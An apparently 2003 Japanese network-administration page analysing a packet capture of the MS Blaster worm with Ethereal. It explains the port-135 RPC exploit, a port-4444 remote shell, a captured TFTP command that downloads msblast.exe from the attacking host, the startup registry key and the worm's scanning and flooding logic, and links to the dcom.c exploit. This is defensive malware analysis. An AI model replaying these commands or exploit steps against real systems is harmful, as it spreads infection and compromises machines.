このページは乱ことNobuoNakakoが運用する「Etherealを使おう」の一部です。お時間があれば表紙も訪れてやってください

リンク等についてはこちら。間違いを見つけた時や「ここはこうした方が良い」等の意見は遠慮なくこちらまで。


The Ethereal manual (WINDOWS&UNIX)

MS_BLAST
障害対応

私の管理するサーバは全てUNIXであり当初より無駄なポートは空けていない為、私の会社やサーバのネットワークにこのMS_BLASTの影響は全くありませんでした。

しかし、8月12日は徹夜でこのウィルスの動作を研究し、アメリカ側での情報収集に徹していました。というのもユーザのパソコンは当然、ほとんどWindowsであって今回のBLASTに影響するWindows2000やXPの割合は相当なものでした。

従って、このウィルスに対する対策マニュアルを作成してユーザに配布し、プロバイダとしてはこのウィルスにたいするできるかぎりの対応をしなければなりません。

その際に参考データとしてEtherealを使ってBLASTのパケットをキャプチャしました。ここではこれに基づいて解説を行いたいと思います。他にも亜種が出ていますがとりあえずオリジナルの解説をします。

サンプルデータ
135番ポートによる攻撃ツールdcom.cの送信
69番ポートによるTFTPでのmsblast.exeのダウンロード

4444番ポートによるmsblast.exe実行コマンド
感染活動(MS_BLAST.Aの場合)
再起動を引き起こしたのは感染したmsblast.exeではない

サンプルデータ

MS_BLASTのキャプチャデータはここからダウンロードできます。

構成図にすると以下の様になります。

135番ポートによる攻撃ツールdcom.cの送信

さて、上記のキャプチャデータの1番から11番のデータを見て下さい。

このパケットは192.168.1.7から192.168.1.3に対して135ポート(emap)でパケットが来ています。

1番から3番までのパケットは135番ポートでの通常の3ハンドシェイクによるコネクションの確立を行っています。

その後4番からMS-RPCのバッファ・オーバーフローの脆弱を利用して攻撃ツールを送信します。攻撃ツールはdcom.cですね。その証拠に5番のパケットにある1436バイトのDateに9090・・・と並んでいるところはport 4444 bindshellそのままです。

このツールの内容は以下を参照。悪用しないように

http://www.metasploit.com/tools/dcom.c

とりあえずこのツールによりTCP4444番で待機するリモートシェルcmd.exeができあがります。この攻撃ツールは80%の確立でWindowsXP用、20%の確立でWindows2000用が使用されます。

69番ポートによるTFTPでのmsblast.exeのダウンロード

さて次は12番〜48番のパケットについてです。ここではウィルスの本体であるmsblast.exeのダウンロードを行っています。

15番のパケットを見て下さい。攻撃者192.168.1.7が192.168.1.3に対して下記TFTPコマンドを実行する様に指示しています。このコマンド自体は4444番ポートを通じて先のdcom.cシェルで実行されています。(36バイトのデータ)

tftp -i 192.168.1.7 GET msblast.exe

これに対して192.168.1.3は19番のパケットでこのTFTPコマンドを実行しています。

20番から47番のTFTP(UDP69番ポート)信号は実際にmsblast.exeをダウンロードしているパケットになります。(MD5:5ae700c1dffb00cef492844a4db6cd69)

4444番ポートによるmsblast.exe実行コマンド

さて、ダウンロードをした後に攻撃者192.168.1.7から再度4444番ポートでmsblast.exeプログラム実行の以下のコマンドが192.168.1.3に対して発信されます。(52番)

start msblast.exe

53番で192.168.1.3は上記コマンドを実行します。この時点で192.168.1.3側では自分のレジストリに以下のキーを登録します。

キー:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVarsion\Run
値:"windows auto update" = msblast.exe

これによりMSBLASTはパソコンが再起動されても起動できるようになります。又、BILLYというミューテックスを作成し、重複起動も防いでいます。

感染活動(MS_BLAST.Aの場合)

感染したPCのシステム時計が1月〜8月の1日〜15日であればTCPポート135が開いているマシンを調べる為にスキャンを実行します。

このスキャンする対象の選定に特長があります。

まず乱数に対して20を割り算します。その計算結果の余りが12より大きいか小さいかによって動作が分かれます。

●12より値が大きい場合

余りが12より大きい場合、BLASTはローカルネットワーク(同一のネットワーク)に対して攻撃を開始します。といってもPCに割り当てられたサブネットマスクを参照するのではなく以下の様な計算を行います。

とりあえず感染した192.168.1.3のIPにA.B.C.D以下の様に割り当て考えます。

ローカルネットワークですからとりあえずAとBの数値はそのまま使用されます。Dは必然的0となります。

次にCの値が20より大きいか小さいによって動作が異なります。20より大きい場合、20以下の乱数をCの値から差し引いた数値が採用されます。上記のIP番号の様に20よりCの値が小さい場合はその数値がそのまま使用されます。

従って上記IPの場合、以下の様にIPが決定されます。

192.168.1.0

この後はDの値に1を足していき254に達するまでポート135で攻撃を繰り返します。

●12より値が小さい場合

この場合は攻撃用のIPはランダムに生成されます。

 

これにより40%の確立でローカルネットに60%の確立でグローバルに対してIPを決定します。

システム時計が1月〜8月の16日〜31日または9月〜12月であればWindowsupdate.comに対してTCP SYN floodの攻撃を行います。このパケットは80番ポートで行い、windowsupdate.comがDNSで引けない場合(現在引けません)は宛先IPが255.255.255.255になります。

再起動を引き起こしたのは感染したmsblast.exeではない

さて、よく紹介されるBLASTの症状に「Windowsが再起動する」というものがあります。実際には下記の様なウィンドウが登場して約1分ぐらいでPCに再起動がかかります。

実はこれはMSBLASTウイルス自体が出しているウィンドウではありません。RPCのバッファ・オーバフローをついたRPCメッセージが届いた時点でRPCサービスが不安定になるのが再起動の原因になります。

具体的にはサンプルのデータでいうと4番のBIND DCERPC Call_id127 UUID:000001a0-0000-0000-c000-000000000046 var0.0がこれにあたります。

従って、再起動しないからといってBLASTに感染していないという理由にはなりません。BLASTに感染していても再度他のPCからRPCメッセージが届かないかぎりは再起動はしないのです。


Copyright 2003 by Nobuo Nakako All right reserved.